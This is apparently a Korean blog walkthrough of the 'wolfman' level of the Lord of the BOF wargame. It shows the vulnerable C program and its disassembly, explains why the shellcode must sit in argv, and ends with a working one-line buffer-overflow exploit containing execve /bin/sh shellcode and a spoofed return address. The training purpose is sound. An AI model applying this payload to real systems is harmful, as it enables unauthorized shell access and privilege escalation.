scent2d 2019. 3. 11. 09:12

→ 소스코드는 아래와 같다.


1 /*

      2         The Lord of the BOF : The Fellowship of the BOF

      3         - wolfman

      4         - egghunter + buffer hunter

      5 */

      6

      7 #include <stdio.h>

      8 #include <stdlib.h>

      9

     10 extern char **environ;

     11

     12 main(int argc, char *argv[])

     13 {

     14         char buffer[40];

     15         int i;

     16

     17         if(argc < 2){

     18                 printf("argv error\n");

     19                 exit(0);

     20         }

     21

     22         // egghunter

     23         for(i=0; environ[i]; i++)

     24                 memset(environ[i], 0, strlen(environ[i]));

     25

     26         if(argv[1][47] != '\xbf')

     27         {

     28                 printf("stack is still your friend.\n");

     29                 exit(0);

     30         }

     31         strcpy(buffer, argv[1]);

     32         printf("%s\n", buffer);

     33

     34         // buffer hunter

     35         memset(buffer, 0, 40);

     36 }



→ 어셈블리 코드는 아래와 같다.


0x8048500

0x8048501

0x8048503

0x8048506

0x804850a

0x804850c

0x8048511

0x8048516

0x8048519

0x804851b

0x8048520

0x8048523

0x8048524

0x804852b

0x804852c

0x8048530

0x8048533

0x804853a

0x804853f

0x8048543

0x8048545

0x8048547

0x804854a

0x8048551

0x8048556

0x8048559

0x804855a

0x804855f

0x8048562

0x8048564

0x8048565

0x8048567

0x804856a

0x8048571

0x8048576

0x8048579

0x804857a

0x804857f

0x8048582

0x8048585

0x8048587

0x804858a

0x804858d

0x804858f

0x8048592

0x8048595

0x8048597

0x804859c

0x80485a1

0x80485a4

0x80485a6

0x80485ab

0x80485ae

0x80485b0

0x80485b3

0x80485b6

0x80485b8

0x80485b9

0x80485bc

0x80485bd

0x80485c2

0x80485c5

0x80485c8

0x80485c9

0x80485ce

0x80485d3

0x80485d6

0x80485d8

0x80485da

0x80485dd

0x80485de

0x80485e3

0x80485e6

0x80485e7

<main>   

<main+1> 

<main+3> 

<main+6> 

<main+10>

<main+12>

<main+17>

<main+22>

<main+25>

<main+27>

<main+32>

<main+35>

<main+36>

<main+43>

<main+44>

<main+48>

<main+51>

<main+58>

<main+63>

<main+67>

<main+69>

<main+71>

<main+74>

<main+81>

<main+86>

<main+89>

<main+90>

<main+95>

<main+98>

<main+100>

<main+101>

<main+103>

<main+106>

<main+113>

<main+118>

<main+121>

<main+122>

<main+127>

<main+130>

<main+133>

<main+135>

<main+138>

<main+141>

<main+143>

<main+146>

<main+149>

<main+151>

<main+156>

<main+161>

<main+164>

<main+166>

<main+171>

<main+174>

<main+176>

<main+179>

<main+182>

<main+184>

<main+185>

<main+188>

<main+189>

<main+194>

<main+197>

<main+200>

<main+201>

<main+206>

<main+211>

<main+214>

<main+216>

<main+218>

<main+221>

<main+222>

<main+227>

<main+230>

<main+231>

push   %ebp                     

mov    %ebp,%esp                

sub    %esp,44                  

cmp    DWORD PTR [%ebp+8],1     

jg     0x8048523 <main+35>      

push   0x8048640                 

call   0x8048410 <printf>       

add    %esp,4                   

push   0                        

call   0x8048420 <exit>         

add    %esp,4                   

nop                             

mov    DWORD PTR [%ebp-44],0x0  

nop                              

lea    %esi,[%esi*1]            

mov    %eax,DWORD PTR [%ebp-44] 

lea    %edx,[%eax*4]            

mov    %eax,%ds:0x8049760       

cmp    DWORD PTR [%eax+%edx],0  

jne    0x8048547 <main+71>      

jmp    0x8048587 <main+135>     

mov    %eax,DWORD PTR [%ebp-44] 

lea    %edx,[%eax*4]            

mov    %eax,%ds:0x8049760       

mov    %edx,DWORD PTR [%eax+%edx]

push   %edx                     

call   0x80483f0 <strlen>       

add    %esp,4                   

mov    %eax,%eax                 

push   %eax                     

push   0                        

mov    %eax,DWORD PTR [%ebp-44] 

lea    %edx,[%eax*4]            

mov    %eax,%ds:0x8049760       

mov    %edx,DWORD PTR [%eax+%edx]

push   %edx                     

call   0x8048430 <memset>       

add    %esp,12                  

inc    DWORD PTR [%ebp-44]      

jmp    0x8048530 <main+48>      

mov    %eax,DWORD PTR [%ebp+12] 

add    %eax,4                   

mov    %edx,DWORD PTR [%eax]    

add    %edx,47                   

cmp    BYTE PTR [%edx],0xbf     

je     0x80485b0 <main+176>     

push   0x804864c                

call   0x8048410 <printf>       

add    %esp,4                   

push   0                        

call   0x8048420 <exit>         

add    %esp,4                   

mov    %esi,%esi                

mov    %eax,DWORD PTR [%ebp+12] 

add    %eax,4                   

mov    %edx,DWORD PTR [%eax]    

push   %edx                     

lea    %eax,[%ebp-40]           

push   %eax                      

call   0x8048440 <strcpy>       

add    %esp,8                   

lea    %eax,[%ebp-40]           

push   %eax                     

push   0x8048669                

call   0x8048410 <printf>       

add    %esp,8                   

push   40                       

push   0                        

lea    %eax,[%ebp-40]           

push   %eax                     

call   0x8048430 <memset>       

add    %esp,12                  

leave                           

ret                             




→ 이번 문제는 환경변수 뿐만 아니라, 프로그램 종료 전 BUFFER의 내용도 0으로 초기화함으로써, 버퍼에 쉘 코드를 담을 수 없다. 따라서, RET 뒤쪽에 쉘 코드를 넣어야 한다. 즉, argv 인자에 쉘 코드를 넣고 RET 영역을 argv[1]의 시작주소로 변조하여 공격이 가능하다. 먼저 argv[1] 시작주소를 파악하기 위해 소스코드를 추가한다.


main(int argc, char *argv[])

{

        char buffer[40];

        int i;

 

        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }

 

        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));

 

        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

 

        // buffer hunter

        memset(buffer, 0, 40);

        printf("[%#x]\n",argv[1]); // 추가된 소스 argv[1] 주소값 출력

}



→ 스택 구조는 아래와 같다.






→ argv[1] 주소 파악한 후, 다음과 같은 페이로드를 구성할 수 있다.




→ 구성한 페이로드를 바탕으로, 아래와 같은 공격을 수행한다.


./wolfman $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*20+"\x2b\xfc\xff\xbf"')



→ 결과는 아래와 같다.